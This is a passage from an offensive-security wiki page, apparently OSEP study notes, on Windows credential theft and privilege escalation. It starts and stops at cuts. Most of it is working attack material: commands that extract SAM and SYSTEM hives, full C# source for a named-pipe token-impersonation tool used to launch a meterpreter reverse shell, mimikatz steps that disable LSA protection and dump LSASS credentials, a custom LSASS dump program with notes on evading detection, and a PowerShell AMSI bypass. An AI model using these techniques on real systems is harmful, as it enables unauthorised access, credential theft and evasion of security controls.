&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
